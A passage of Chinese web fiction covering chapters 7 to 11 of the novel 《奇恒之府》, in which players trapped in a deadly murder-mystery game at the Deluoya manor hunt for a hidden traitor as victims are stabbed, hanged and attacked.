陈绘难得耐心地解释,“游戏是另一个世界,它正统的名字其实是【髓海】,只是我们习惯把它叫做游戏,也有人叫它副本。一般进游戏后,除了身上穿的衣服以外,任何物品都不能使用了,虽然还在身上,但完全失去了使用效果。曾经有人尝试用外面带进来的刀杀人,可是连衣服都划不破。” “没有例外吗?既然是游戏,应该有很多种游戏规则吧?” “有例外,”陈绘赞赏地看了她一眼,“有的游戏规则会说明是否能使用带进来的东西……至少进这个游戏的时候,我的【助手】没有说明。” “能问问你的【助手】是怎么说的吗?游戏规则和游戏任务是怎么对你说的?” 陈绘瞥她一眼,顿了顿,才开口: “规则没有提及,任务大概是——【请在德落亚庄园住满七天,并找出凶手】。大概是这样。” “真简短。” “但就是这个意思。”陈绘说。 “……每个人听到的游戏规则和游戏任务会不会不一样?” 陈绘忽然沉默下来,半晌才说:“如果这样的话,游戏难度会上升不止一个度。既然这一局是新手局,大概率不会出现这种情况……你怀疑朱腾有特殊任务?如果他真有,那他的嫌疑就降低了。” “如果没有特殊任务,你也认为他的嫌疑很大?” “这还不明显吗?”陈绘扯扯嘴,“和他同住的人在第一晚就死了,有没有那杯水都是他一面之词,怎么看都是他嫌疑最大。” “可是这样做太冒险了。” “那又怎么样?如果我是卧底,我也会第一个杀掉和自己住在一起的人。即使会引起怀疑,但谨慎起见,第一天没人会对我出手。先杀掉离自己最近的人,方便行动,未来还有那么多天,有的是机会嫁祸别人。” 见贺玉盈陷入沉思,陈绘笑了笑,拉过被子舒舒服服地闭上眼睛,“睡吧。是不是他,再过几天就明显了。” …… 第二天,无人死亡。 大家说不上是什么心情,还是照例地找线索,找完线索后趁吃饭时间在餐厅进行交流。赵思焕和黎远军说发现宅邸后有一座不显眼的塔楼,入口被铁链锁上了。齐天宇和张松说庄园有一个酒窖,进去看过之后没什么问题。 吃过午饭,齐天宇把陈绘和贺玉盈拉到一边,提议去花圃看。 陈绘不动声色地看了眼张松,“好啊,我本来也打算去。你有什么计划吗?” “晚上去。白天的时候太显眼了,说不定会被管家发现。” “行,我和贺玉盈去,你们帮我们放风。” 齐天宇意味不明地说:“……可以。你们速战速决,不管发现了什么都要告诉我们。” “当然。” “贺玉盈也是。” 贺玉盈:“嗯。” 几人吃过晚饭,等着管家收拾好餐桌离开,又等到天色全部暗下来,才溜出宅邸。 偌大的庄园只有宅邸里有灯光,贺玉盈甚至能在花圃周围看到天上闪闪的星星。 好在有些许的灯光透过来,两人不至于完全摸黑。 陈绘看了眼远处齐天宇和张松的身影,他们的身影在灯光下十分显眼。 她想自己真是选了个差劲的差事。 偏偏这时贺玉盈冷不丁地说:“万一管家躲在花丛里,我们没看见怎么办?” “等死吧。”陈绘没好气地说,“总之我不会管你。” 花圃的玫瑰栽种的满满当当,扑鼻就是一股甜腻的花香,稍不小心就会被茎上的尖刺划破皮肤。一朵又一朵盛开的鲜花蓬蓬地挤在一起,在微弱的光线下也显得美不胜收。 贺玉盈和陈绘一前一后,慢慢摸索着往花圃中心走。 贺玉盈说:“不知道为什么,我有点不好的预感。” “如果你能闭上你的乌鸦嘴,说不定就不会出事。” 两人走了没几步,一声女人凄厉的叫喊划破了黑夜。 “救命啊!救命——!” 陈绘一惊,顾不得往前,抓起贺玉盈的手就往外跑。 匆忙之下,贺玉盈只来得及回头看了一眼。 ……花圃里好像有团白色东西? 她来不及多想,脚踝上忽然传来一阵刺痛,等到回过神来,她们已经跑出了花圃。 陈绘跑出花圃,一把拦下了女人。齐天宇和张松听见动静也赶了过来。 被拦下的人是白棠。 她的身上和手上沾满鲜血,跌跌撞撞地奔跑着,被陈绘拦下后,她立刻脱力地滑倒在地上,浑身簌簌发抖。 陈绘喘了几口气,脸色阴沉地说:“出什么事了?” 贺玉盈被拉着狂奔,早就撑不住了——她体能一直不太好。 她双手撑着膝盖,俯下身体喘粗气。 脚踝上依旧隐隐刺痛,贺玉盈偏头看了一眼,脚踝处有点点血迹,应该是匆忙下被花刺划伤了。 “杀人了………杀人了………”白棠流着眼泪,一脸惊惶地喃喃。 陈绘看向白棠跑来的方向,是从外面跑过来的。 她勉强克制住自己的火气。 “你去哪了?怎么回事?” “杀人了……我看见……我看见了………” “什么?谁?谁杀人?” 白棠睁大流泪的双眼,“……是朱腾,是朱腾!他杀了月月!” 贺玉盈和陈绘都皱起眉。 “什么时候的事?在哪?带我们去。” “不去!”白棠大叫,“不去!他还想杀我!” “不去也得去!你给我起来!”陈绘一把拽起白棠。 贺玉盈心中感叹她力气真大。 齐天宇和陈绘架着白棠,逼她带他们过去。 虽然白棠一直哭叫着不去,但还是被他们强硬地拖过去了。 贺玉盈累得半死,慢慢跟在几人身后,两条腿像灌了铅一样沉,自从大学毕业后,她几乎没有像这样拼命奔跑过,体能的拙劣一下就显现了出来。 而陈绘则迅速调整了过来,还有力气抓住白棠。 走了一会儿,几人来到一座塔楼下。 白棠终于缓过劲来,抽抽搭搭地说:“就是这里……白天的时候我和月月听说这里有塔楼,就想来看看,结果……结果朱腾拿着刀突然出现,要杀我们……我眼睁睁看着月月被他捅死了……” “我记得白天的时候说这塔楼被铁链锁上了,你们进 7. 第7章 德落亚庄园 《奇恒之府》全本免费阅读 朱腾消失了。 五人回到宅邸,迅速敲了每一个人的房间告知他们关于月月的消息。众人一起来到朱腾房门外,敲了半天没有回应,蛮力撞进去后发现朱腾不在房间里。房间的窗户大开着,贺玉盈向窗外看去,是一片绿盈盈的草地,像绒毯一样,十分可爱。 众人遍寻不到,只好惴惴不安地回到各自的房间睡下。 第二天,每个人都神情疲倦地坐在餐厅里。 赵思焕:“所以我们只要找到朱腾,杀了他,就赢了?” “还不一定呢,”陈绘说,“谁说他一定是卧底的?” “他不是卧底为什么杀人?给自己找麻烦吗?” “说不定他就有杀人的理由呢?” “能有什么理由?” “问我干什么,我又不是他。” “切。”赵思焕往后一仰,两手交叉放在脑后,“我看他就是蠢,没把白棠杀掉。他要是把白棠杀掉,今天还和我们坐在一起。” 白棠剧烈地发抖,牙齿咬得咯咯响,“赵思焕,你什么意思?你盼我死吗?” “我可没这么说。” 黎远军说:“话糙理不糙。要是朱腾昨晚连白棠一起杀掉,就没人知道是他干的了……而且他之前潜进她们的房间,可能就是打算对她们下手。” “乱七八糟的,”陈绘冷哼,“就算没有白棠的证词,我们就不会怀疑他了吗?说话前动动脑子,除了他是一个人行动之外,我们都是两两一组彼此盯着,他明显会成为我们第一个怀疑的对象,跑了也是情理之中。” “早知道第一天就该杀了他。”赵思焕狠狠道,“说是再等等,现在好,等得人都飞了!” “都说了他不一定是卧底,卧底说不定还坐在我们中间呢!”陈绘绷着脸。 “是吗?那你说说是谁?” “我看你挺像卧底的。” 赵思焕重重踢了下桌子,站起来怒道,“你说什么?” “说的就是你。”陈绘一字一顿地说,“像卧底。” 眼看战争一触即发,贺玉盈瞥了眼一直默不吭声的齐天宇。 “好了,都别吵了。”他终于开口,“吵架有什么用?分析线索,早点找出卧底才是我们该做的。现在都第三天了。” 话音刚落,餐厅的钟声便敲响了,管家按时推来餐车。 “管家,是你在负责我们的食物吗?”贺玉盈插空问。 管家一遍布置,一遍答道,“是。” “厨房的餐具有减少吗?像是刀具什么的。” “抱歉,客人,厨房的刀具有很多,我并没有每天清点。” “那你清点后再告诉我。” “非常抱歉,客人。”管家露出得体的微笑,“厨房的工具有损耗是非常正常的事,即使有对不上数目的情况,也无伤大雅。” 贺玉盈退了一步:“除了你以外,其他人能进入厨房吗?” “厨房的钥匙只在我这里,仅此一把。” “没有备份?” “没有备用的,客人。” “如果有人偷走你的钥匙,进入厨房,然后再神不知鬼不觉地把钥匙还回去,你觉得有可能吗?” 管家微微偏了偏头,陷入了思考之中,过了一会儿,他保持着微笑,“……我不能保证,客人。” “很好,感谢你的解答。” “能帮助到您是我的荣幸。”管家贴在她身旁为她布置餐食,扬起的嘴角简直像是缝上的丝线,“希望您是真正被主人邀请来的客人。” 贺玉盈愣了一下,“放心,我是的。” 这段对话结束以后,管家便沉默地站到一旁。 “喂,管家,庄园里的钥匙都在你那?”赵思焕三两下吃完饭,随便擦擦嘴便问。 “是这样的,客人。” “后面那座塔楼的钥匙也在你那?” “客人,”管家温和的表情收敛起来,语气冰冷,“塔楼不在招待客人的范围之内。” “哦?那个地方不能去吗?”陈绘接过话,若有似无地往白棠的方向看。 “当然不是,”管家礼貌的态度挑不出任何问题,“那个地方已经许久没有人打扫,不适合作为客人参观游玩的地点。这是基于礼节的考虑。” “我听说那个地方被锁起来了,如果我想去的话,能给我钥匙吗?”陈绘问。 “没问题。”管家的回答出人意料,“昨天已经有客人向我要过钥匙了,我想,如果您需要钥匙打开塔楼,可能需要向她求助。” 他转向白棠,微微俯下身子,“您说呢,客人?” 白棠没有看他,当然也没有任何反应。 陈绘看着这一幕,暗暗“啧”了一声。 贺玉盈知道她在烦什么。 本来想同时试探一下管家和白棠,结果什么也没试探出来。 贺玉盈:“这样说的话,如果我向你借厨房的钥匙,你会给我吗?” “虽然我不建议您这样做——厨房不该是客人进入的场所——但如果您一定要求的话,我会遵照您的吩咐。” 听到这里,齐天宇也接上了话,“有人问你借过钥匙吗?” “没有。”管家的回答让所有人失望地叹了口气,他笑意盈盈地对着白棠说,“除了这位客人借过塔楼钥匙以外,目前还没有任何客人从我这里借走钥匙。” “那么,”齐天宇沉吟着说,“如果有人试图向你借钥匙,你能否在下一次用餐的时间立即告知我们?” “乐意之至。”管家无比绅士地回答说。 …… 众人决定分工合作。 赵思焕和黎远军寻找朱腾,而贺玉盈,陈绘,齐天宇和张松继续找线索。 大家纠结该怎么安排白棠时,她抱紧手臂,袖子上残留有血迹,眼神中透露出一丝凶狠,“……我也要一起去找朱腾。” 于是,白棠就暂时加入了赵思焕和黎远军。 贺玉盈和陈绘走出宅邸,太阳明晃晃地挂在天上,不遗余力地散发热量。 一想到这是在“游戏”中,贺玉盈就觉得非常不可思议。 “现在是玫瑰和蔷薇盛开的季节,天气炎热……”她没头没脑地说,“尸体呢?尸体会不会腐败得很快?” 陈绘很快答道:“不会,游戏里的尸体不会腐烂。只是有的游戏里会留有尸体,有的游戏里尸体会消失。” “我有个提议。” “什么?” “我们再去塔楼里看看吧。”贺玉盈说,“昨天太黑了什么也没看见,我觉得有必要再去一次,说不定朱腾就躲在里面。” “你觉得朱腾会在塔楼里?”陈绘说,“那他胆子真不小。” 两人来到塔楼前。 白日的塔楼终于显出它的真面目:黄白色的外墙上爬满了绿色的爬山虎,裸露出的墙皮上有细小的缝隙,背着光的彩色窗户玻璃倒映出沉闷的蓝天,一切都显得古老破旧。 半掩着的铁门上锈迹斑斑,贺玉盈半蹲下身子,掉在泥土里的铜锁覆着一层灰绿。 贺玉盈没有进塔楼,而是在塔楼外转来转去,甚至时不时蹲下身体,用手拂开小草。 “你在干什么?”见贺玉盈搬起一块篮球大的石头一角,陈绘终于忍不住问。 “我在找痕迹……血迹……” “什么?”陈绘惊讶,“难道你有什么发现了吗?” “不是,我只是突然想到了一件事情。”似乎是没有任何收获,贺玉盈叹了口气,把石头放回去,“我在想,为什么没有凶器?” “凶器?” 贺玉盈站起身,一无所获地往塔楼里走。 “说不定是昨晚没有看见,我们进去吧。” 两人走进塔楼,很快就到了月月的尸体 8. 第8章 德落亚庄园 《奇恒之府》全本免费阅读 朱腾的尸体被发现吊在塔楼里,吊住他的是原本塔楼铁门上的锁链。 贺玉盈和陈绘发现时,他的血几乎要流干了,她们听到的滴答声就是他的血液从脚尖滴落的声音。 贺玉盈留在塔楼,而陈绘去召集众人。 把人聚集到塔楼不需要花费太多时间,很快大家就赶到了塔楼里。 众人想办法把他的尸体放下来,经过检查,发现他的脖子上有一道极深的勒痕,呈深紫色。那道铁链被取下来时连着他的皮肉,看得出来凶手用了极大的力气,几乎要勒断他的脖子。除此之外,他双脚的脚踝后面还被割下了一块肉。 “为了放血。”齐天宇说,“尸体变轻以后,才能把他吊上去。” 赵思焕意味不明地说了一句:“懂得还真多。” 陈绘此时已经完全恢复过来,她用一种全新的眼神打量贺玉盈,目光犀利,恨不得能看穿她的一切。 “现场的血很少。事实上,我们发现他的时候他已经没有多少血了。”贺玉盈说。 “他身上那么多的血不可能凭空消失。”黎远军说。 张松:“那会在哪里?庄园这么大,连找人都很困难,这些血可能被处理掉了吧。” 贺玉盈不赞同:“血液不像其他东西那么好处理。很多案件的侦破都是因为罪犯没有处理好血液,使它或多或少地残留下来。” “那些血……跑到哪里去了?”白棠的牙齿互相碰撞,抖如筛糠,看起来恐惧异常。 “与其思考这个,不如想想凶手到底是在哪里放血的。”贺玉盈说。 张松头疼道,“能有什么地方啊……难道是浴室吗………” 齐天宇否定了他的猜测,“我们每天都会去卫生间和浴室,杀害朱腾的地方不会在那里。” “他脖子上的伤口这么深,应该可以排除是女人干的吧?”黎远军指着朱腾脖颈上那道触目惊心的勒痕。 这样的话,凶手的范围就能缩小了。 话毕,有人同意般地点点头,有人不置可否。 齐天宇模棱两可道:“……太绝对了。” 他的语气带着点阴阳怪气,陈绘听完便知道他在点自己,于是冷哼一声,承认道,“说得没错,只要用巧劲,女人也能做出这种伤口——我就可以。更何况,谁知道朱腾是活着被勒成这样的,还是死了后被勒成这样的?” “能悄无声息地把这样尸体搬来搬去……确实是男人的可能性比较大。”贺玉盈蓦地出声。 她还没说完后半句—— 甚至,凶手的性别几乎可以锁定为男人。 她这样一说,陈绘想了想,居然同意道,“勒痕不能确定凶手的性别,搬运尸体这种事倒是可以。就算是我,想这样折腾朱腾的尸体也得花费不少功夫和力气。” 在场的几个女生除了她以外,都不是力气大的类型。 “除了力气大以外,凶手还很恶趣味。”贺玉盈说,“明明杀掉朱腾是件轻松的事,却故意把这件事变得复杂,放血、运尸,吊尸……简直可以说是自找麻烦。” “分明就是挑衅。”赵思焕双手抱胸,语气阴冷,“还特地把朱腾的尸体挂在塔楼里,死了的月月还在旁边!” 凶手是个性格糟糕的人……还是说,这所谓的“性格糟糕”也是一种掩饰呢? 贺玉盈垂下眼眸,默默地思考着。 陈绘看了眼沉思中的贺玉盈,走到齐天宇的旁边,向他耳语了几句话。 …… 夜幕降临,贺玉盈四人像昨天那样来到花圃。 “我找到了这个,可以用来照明。”贺玉盈提着一盏油灯。 两人谨慎地观察了一番,确认花圃周围没人以后,便迅速猫着腰窜进去。 有了昨天的经验以后,两人的动作又轻巧又敏捷,很快地进到了花圃的中心。 昏黄的烛光下,被如浪花一般的玫瑰花丛裹住的中心,矗立着几个矮矮的石碑。 “这是什么?是墓碑吗?”陈绘往前走了几步,费力地辨认石碑,“贺玉盈,你走近点。” 贺玉盈依言走近。 烛火打在石碑上,空空荡荡的,竟然一个字也没有。 “奇怪了,有点像是墓碑……为什么没有刻字?”陈绘喃喃。 贺玉盈的目光却在搜寻另外的东西。 她提着油灯微微换了个方向,一小团白色的布料正不起眼地堆在泥土上。 陈绘也跟着她注意到了那团布料。 贺玉盈走上前捡起布料,忽而一顿。 “怎么了?” 她缓缓摊开手,另一只手从布料中慢慢抽出一把带血的小刀,“凶器,在这里。” ……白天她们还在找消失的凶器,晚上凶器就出现在她们的面前。 贺玉盈想,简直就像有个人在高纬度空间看着她们的所作所为一样。 展开这团白色的布料,两人才知道这其实是一件轻薄的外套,团起来一只手就能握住。 而这把小刀…… 贺玉盈清楚地记得。 它曾在这座庄园里被用来切牛排。 …… 贺玉盈和陈绘约定将这把刀的事情隐瞒起来。 “为了避免打草惊蛇。”贺玉盈说。 原本贺玉盈打算让陈绘保管这把小刀,可是陈绘执意要她拿上防身,于是贺玉盈便接了过来。 想要骗过花圃外张松十分轻松,贺玉盈和陈绘两人随便敷衍了两句就过去了。 齐天宇的黑色眼珠沉沉地看着她们,显然没有被她们的谎话骗到,不过那又怎么样? 在此之前,陈绘笃定地说:“只要没有妨碍他通关游戏,他绝对会装聋作哑。” 果然,齐天宇没有戳破她们。 回到房间后,陈绘迫不及待要跟贺玉盈交流线索。 她急得像被火烤的蚂蚁,贺玉盈还依然慢悠悠地检查门锁和窗户。等到贺玉盈爬到床上,陈绘便着急地问:“白棠就是凶手,对不对?” 贺玉盈:“……嗯。” 她的语气并不肯定,这让陈绘有点泄气,“难道不是吗?那把刀,就是白棠在第一天和管家一起收拾餐具时趁乱拿走的。为了单独行动,她诱骗月月走进漆黑的塔楼里,月月是新人,唯一能交付信任的只有这位室友,当然不会对她设防……所以白棠很容易得手。刀是餐具,不会太锋利,为了保证月月一定得死,所以才会出现那么多的刀口……然后她装作受害人从塔楼里跑出来,顺理成章地嫁祸给朱腾。” 这样分析完后,陈绘并不觉得有哪里不对。 “有问题吗?” “没有问题。”贺玉盈说。 终于得到贺玉盈的肯定答复,陈绘便道,“既然是对的,为什么要把刀的事情隐瞒起来?如果让齐天宇他们知道,我们就能一起去杀白棠了。” “你忽略了一件事。”贺玉盈摇摇头。 “什么?” “刚刚的分析很有道理,我也认为这无比接近于真相,不过,既然月月是白棠杀掉的,那么朱腾又是谁杀掉的?” 陈绘 9. 第9章 德落亚庄园 《奇恒之府》全本免费阅读 第四天,众人齐聚餐厅,准备像往常一样分享线索。 这时有人发现了不对劲。 “白棠呢?” 贺玉盈和陈绘对视一眼,彼此都有大事不妙的感觉。 贺玉盈立刻起身,椅子摩擦地面拉出了刺耳的声响: “我去找她。” 下一刻一只手按在了肩膀上,她看去,陈绘起身对她说,“我去,你待在这里。” 贺玉盈和她对视几秒,犹豫片刻,点点头,坐回了座位。 剩下的人大多感到莫名其妙。 不过是白棠没按时来餐厅而已,说不定只是耽搁了。 只有贺玉盈紧张地坐在座位上,等待着时间一分一秒过去。 不到一分钟的时间,对贺玉盈来说却十分漫长,陈绘的嗓音在餐厅响起: “人不见了。” 既然陈绘这样说,便不单单只指白棠不在房间里,而是宅邸里白棠可能会去的地方都没有她的身影。 餐厅的人被这突来的变故一惊,齐齐站了起来。 赵思焕更是郁闷,“怎么回事?她怎么不见了?” 陈绘咬咬牙,把视线投向齐天宇,对方冲她摇头。 恰在这时,钟声响起,管家照例推来餐车。 “客人,你要去哪儿?” 管家对陈绘说。 陈绘的脚步顿住,僵硬地转过身,“还有人没来,我去找找。” “不用了。”管家说,“人都在这。” 炎炎的天气,在场的人竟然不约而同地感到一丝凉意窜起。 “好,我知道了。”陈绘回到座位,拉开椅子坐了下来。 贺玉盈低声对她说:“白棠死了。” 陈绘的神色还是无比僵硬,“听出来了。” 这是德落亚庄园的第四天。 五人死亡。 “我不管了!”赵思焕突然一拍桌子站了起来,脸上全是焦虑,“卧底反正就在我们中间,今天我必须要杀掉嫌疑最大的那个!” “赵思焕你是不是疯了?不确定卧底你就动手?你是嫌我们死的人还不够多是吗?”陈绘怒极。 “那又怎么样?不这样做难道就这么干等着?等卧底一个一个把我们全解决了吗?!” “赵思焕,这只是游戏。”齐天宇沉下声音,“你不用这么大反应,也不用这么紧张。” “呵,这种话你们骗骗新人就算了!”赵思焕嘲讽,“这局游戏我们表现这么差,要是输了,谁知道会扣掉多少元核!说得倒是轻松,输掉的元核你们会赔我吗?被杀的痛苦你们会替我承担吗?” “几个元核而已,你是玩过游戏的人,难道攒不下来吗?”陈绘反唇相讥。 赵思焕突然安静下来,过了几秒才幽幽地说:“你大方,那我先杀掉你怎么样?” 餐厅里的人一怔。 张松立刻站起来按住赵思焕的肩膀。 黎远军打圆场:“赵思焕,别冲动,先冷静下来。” 齐天宇:“都别吵了,有时间吵架,还不如多讨论一下卧底的问题。” “有什么好讨论的,”赵思焕被张松安抚着坐回座位,狠毒地说,“一个一个的杀,游戏总会结束……” 他阴毒地扫过众人的脸,“……先从嫌疑最大的人开始。” 餐厅里突然静了一瞬,每个人都扭过头不去看他。 不等管家面带微笑地提醒,除了赵思焕以外,众人几乎是同时拿起餐具开始进餐。 这一定是目前为止他们吃过的最死寂的一顿饭。 虽然没有明说,但是每个人心里都清楚,游戏的进度必须要加快了。至今为止,他们都被卧底推着往前走,却没有为找出卧底做过任何尝试。 或许就在今晚,他们六人中的一个,将会被推选出来杀掉。 午饭后,六人各自按照想法行动。 庄园不大,但想要不遗漏地去搜索每个地方至少也需要花费一天时间。 众人找了一早上,别说尸体,就连多出来的一滴血都没有看见。 “你觉得白棠会在哪?”陈绘问。 “我们再去塔楼看看吧。”贺玉盈说。 可惜的是,这次塔楼里没有出现白棠的尸体。 两人找了一遍塔楼内外,一无所获。 陈绘忍不住嘲道,“这次你的直觉不起作用了?” “就是因为没有依据才叫直觉,没有依据的东西,不起作用也很正常。”贺玉盈态度平常,没有丝毫为此失望的样子。 朱腾的尸体在之前被众人放了下来,此刻便横躺在两人脚边。他的血液已然放干了,像一具枯朽的木桩一般。 陈绘语气怪异,“白棠怎么突然死了,真不知道这算好还是算坏。” “起码能确定卧底不是她了。” “你说,会是谁杀了她?是卧底吗?还是别人?跟杀朱腾的人会不会是同一个?” 贺玉盈避而不答: “白棠从昨晚晚饭后就消失了,一直到今天早上才被发现,期间有太多机会可以杀掉她了……要是在塔楼里发现她也被放干血吊起来,我也不会太意外。” 在塔楼没有收获,两人便并肩往外走,一边走一边讨论。 “之前我们分析的时候,还讨论过凶手因为要搬运尸体,所以一定是个男性。”陈绘说,“齐天宇,张松,赵思焕,还有黎远军……黎远军是最有嫌疑的人吧?” 听到这话,贺玉盈反而诧异地看了她一眼: “为什么是他?” 陈绘:“直觉。” 贺玉盈:“……” “行了,我跟你开个玩笑。啧,瞧你那样子,真没劲。” 没看出来她还是个会在这种时候跟人开玩笑的人。贺玉盈心里嘟囔。 可是既然白棠已经被杀,卧底范围自然已经缩到小得不能再小的程度了。 虽然卧底到底是谁还没有定论,可无非就是那四个男人中的一个……不管是谁,陈绘都做好了要杀掉他的准备。 游戏胜利的奖励就在眼前,陈绘也没有刚开始那几天咄咄逼人的态度了。 经过这几天,她对贺玉盈的看法已经彻底改变了。 想起贺玉盈之前自述被前男友骗进游戏的经历,陈绘当时觉得她蠢笨,现在又觉得心情复杂。 一时不知是该心疼她被 10. 第10章 德落亚庄园 《奇恒之府》全本免费阅读 “你想说什么?” 不知是不是被白棠的死给刺激到了,赵思焕狗急跳墙一般,突然将矛头指向她,“贺玉盈,我有点怀疑你了。你不是新人对吧?明明不是新人,却伪装出新人的模样来骗取信任,躲在大家的身后,这是游戏里的惯用手段——尤其是这类游戏中,卧底最爱用了。” “有道理。但是很可惜,我确实是新人。”贺玉盈面不改色。 “是吗?那你怎么解释总是你第一个发现异常?第一天指出朱腾偷外套的是你,发现钟一丰怎么死的人是你,发现朱腾尸体的是你,到现在,找到我们找了好久都没有找到的白棠的还是你。贺玉盈,你不会要说这都是你运气好吧?” 听到这段话,别说黎远军了,就连齐天宇也是一惊。赵思焕的话提醒了他忽略掉的地方,一直以来,他居然都没有注意到贺玉盈跟这些事件的关联竟然如此紧密。 “把我们玩得团团转的感受一定很爽吧?从第一天开始,所有的事情都在你的计划中没错吧?外套也是,趁乱杀掉钟一丰也是,包括白棠和月月也是……什么搬运尸体,什么凶手一定是男人,都是你故意扔的烟雾弹,想要引诱我们往错误的方向思考吧?但是你的如意算盘要落空了。” 他突然冲上前狠狠掐住贺玉盈的脖子! 意料之外的状况打得贺玉盈措手不及,怔愣过后,窒息的痛苦随之涌了上来,她疯狂地捶打赵思焕。 她努力地去掰赵思焕的手指,可是他的力气太大了,她无论如何都掰不过。她换了个想法,立刻用脚去踢赵思焕。 赵思焕吃痛,手臂一松。 贺玉盈以为自己得救了,刚刚呼吸一口气,又被一股大力猛地掼到地上,她感觉自己压倒了一片花丛,玫瑰茎上的尖刺狠狠扎在她的后背上,但此时她没有心思考虑这些——赵思焕骑在她身上,更狠地去掐她的脖子。 渐渐的,她的眼前蒙上一层薄红。贺玉盈感到自己的胸腔被压上了一块巨石,她没有力气推开它。 脑袋好像是个气球,被人疯狂地充气,越来越胀,越来越胀,下一秒就会炸开。 渐渐的,意识也不清晰了。贺玉盈的瞳孔散开了。 死。 她没想到有一天自己也会面对这件事。 陆州的死亡带给她的伤害那么大,大到她觉得自己已经死过一次了,大到她觉得死也就是那么一回事了,人总会死的,她不应该执着,而是要学会去接受。 死有何惧?死潜伏在生之中。 ……但在真正面对死亡的时候,贺玉盈却做不到坦然。 她不想死。 她还没有弄清楚陆州死亡的真相,她还没找到林璐。真相只在她面前露出冰山一角,她怎么能死? 她不能死,她要揭开它全部的幕布才行。 意识陷入混沌之时,大量的空气争先恐后地涌入肺部,贺玉盈眼前白光一闪,意识回笼,趴在地上剧烈地咳嗽起来。 她捂住喉部,虎口被眼泪打湿。 陈绘一只手臂卡住赵思焕的脖子,一只脚踩在赵思焕的小腿上,死死地压着他跪在地上。 赵思焕一边怒骂一边挣扎: “陈绘你个疯女人!你干什么!松开我!” “我还没问你要干什么,你凭什么动手?” “我说过了吧,我要杀掉嫌疑最大的那个人,你阻拦我,你包庇她!?” 陈绘的眼神落在面颈部充血严重的贺玉盈身上,她劫后余生地坐在地上急促呼吸着,泪流满面,双手紧紧护住脖子。 “什么狗屁嫌疑最大?你分析的都是什么屁话!我跟她一直在一起,要你这么说,是不是下一个就轮到我了?” 赵思焕的喉咙里发出诡异的哼声,“……如果她死了游戏还没有结束,那就该是你了。” 这话太难听,简直就像是失去了理智才说得出来的。 贺玉盈张了张嘴尝试说话,一发声嘶哑无比。她短暂失声了。 这时,齐天宇三人才上前帮忙制住赵思焕。 “赵思焕,你脑子不清醒了,如果你再这样随便攻击人,我们就要把你绑起来了。”齐天宇说。 “绑起来有什么用,”陈绘松开手,站到贺玉盈面前,“杀了他才好。游戏里的队友是蠢货比对手是天才还难办。何况……” 陈绘冷笑,“万一是他故意装疯卖傻,想杀掉对他威胁最大的人呢?” 赵思焕动作一顿,猛地抬头,“你什么意思?” “就是你想的那个意思。我跟贺玉盈能比你们都更快地发现异常,只能说明我们脑子转得快,你要不是卧底,你这么急着灭口干什么?害怕我们影响你行动了吗?” “你放屁!你想把嫌疑都转到我的身上?她给你什么好处了?多少元核?!”赵思焕怒道。 “只有你这种没本事的人才会为了几个元核这么掉价,不明不白地就想杀人,你也好意思。” 赵思焕突然疯狂挣扎起来,齐天宇三人更用力地按住他。 “赵思焕!你消停点!”黎远军喝道。 “陈绘,你个臭女人!我要杀了你们!” 陈绘对他的威胁不屑一顾。她转过身拉起在地上的贺玉盈,语气算不上友善,“你没事吧?” 贺玉盈捂住脖子,艰难地摇头。 “他发疯了,你不要太在意。”陈绘生硬地说。 “没……”贺玉盈短暂地发出了一个音节,嗓子眼像是被沙砾搓过一样,再发不出声音了。 好在陈绘已经理解了她的意思。 “那行,我们先走吧。”陈绘对齐天宇几人说,“我们走了。赵思焕,至于你,如果再像这样发疯,我保证会先一步杀了你。” 贺玉盈在她身后,看不到她的表情,只是觉得她的语气十分阴冷。赵思焕听完这一席话后,既然诡异地安静下来。 陈绘说完就拉着贺玉盈离开了。 两人回到房间。 陈绘说:“休息会儿吧,一般人遇到这种情况早就闹腾起来,你还不错,很冷静。” 贺玉盈坐在床边,垂着头。 “赵思焕早上那意思摆明了是要揪个人出来祭天,现在倒好,恐怕你是被盯上了。” 陈绘以为贺玉盈会后悔在游戏里表现得太招摇,没想到的是,她却幽幽地说了一句: “我唯一做得不好的地方,就是在他掐住我的时候没有杀掉他。” 陈绘瞳孔一缩,震惊地看着她。 她还是那副模样,埋着头,没有任何攻击性,似乎在反省自己 11. 第11章 德落亚庄园 《奇恒之府》全本免费阅读 经过花圃一事后,餐厅里的四人沉着脸坐在座位上,安静得像石雕。 晚饭时间开始前十分钟,陈绘才姗姗来迟。 她径直走向自己的座位,拉开椅子坐下。 赵思焕面色阴沉地盯着她的一举一动。 又安静地过了两分钟,齐天宇才开口: “陈绘,贺玉盈呢?” “哦,她不来吃饭了。” 陈绘语气随意,仿佛要是没人主动问,她就不会主动说。 “什么!?”赵思焕立刻炸起来,“她不来了?她为什么不来?” “怎么了?你们都要杀她试错了,还不许她躲着不敢出来吗?”陈绘反问,“再说了,有谁规定我们必须来吃饭吗?” 齐天宇:“不来就算了……” “什么叫算了!谁知道她会不会趁机背着我们做陷阱?!” “赵思焕,蠢也不是你这种蠢法,你当我死了吗,能放她随便设计陷阱?” “说不准呢,你不是也让她成功杀了这么多人吗?” 陈绘怒意上涌,“赵思焕,你最好还是趁最后这几天时间好好祈祷吧,祈祷下次我们不是敌人,否则我一定会杀掉你,不止是游戏里的你。” 赵思焕咬咬牙,憋得脸都红了,终究没再试图火上浇油。 “我们的时间不多了,卧底的身份还没有确切的定论。”齐天宇的声音有些疲惫,“既然这样,试试排除法吧。先排除掉嫌疑最小的人,再慢慢往上推,无论结果对不对,这样我们心中也能有个轮廓。” 黎远军:“我同意。” 张松:“我也同意。” 陈绘:“……可以。” “我认为张松可以率先排除。我和他一直待在一起,他没有机会做这些事——即使有游戏给的特权也一样。”齐天宇说。 他的目光看了过来,陈绘知道他是在询问自己的意见。事实上,在场几人里,他唯一能够询问的人只有她。 “我认同。”陈绘给出了满意的答案,“你的本事我还是清楚的,你这样说了,就一定有把握。” 张松卸下重担,呼出一口气,随即连忙替同伴洗清嫌疑: “这样的话,那他的嫌疑也……” “我知道你要说什么,不过你不用说了。我同意他的看法,是因为相信他的本事,相信就算你有特权,齐天宇也不至于一点异常都看不出来。但是我不相信你。如果他有特权,我不相信你能看出异常。” 张松一噎,惭愧地低下头,甚至没有反驳。 黎远军说:“那我和赵思焕呢?” “不相信。”陈绘斩钉截铁。 赵思焕:“所以,就排除了张松一个?这有什么用?” “怎么没有用,”陈绘说,“至少范围确实缩小了,卧底就在我们五个人里选。” 齐天宇:“你不帮贺玉盈说话?” “我为什么要帮她说话?” “我以为你们已经算一伙的了。” 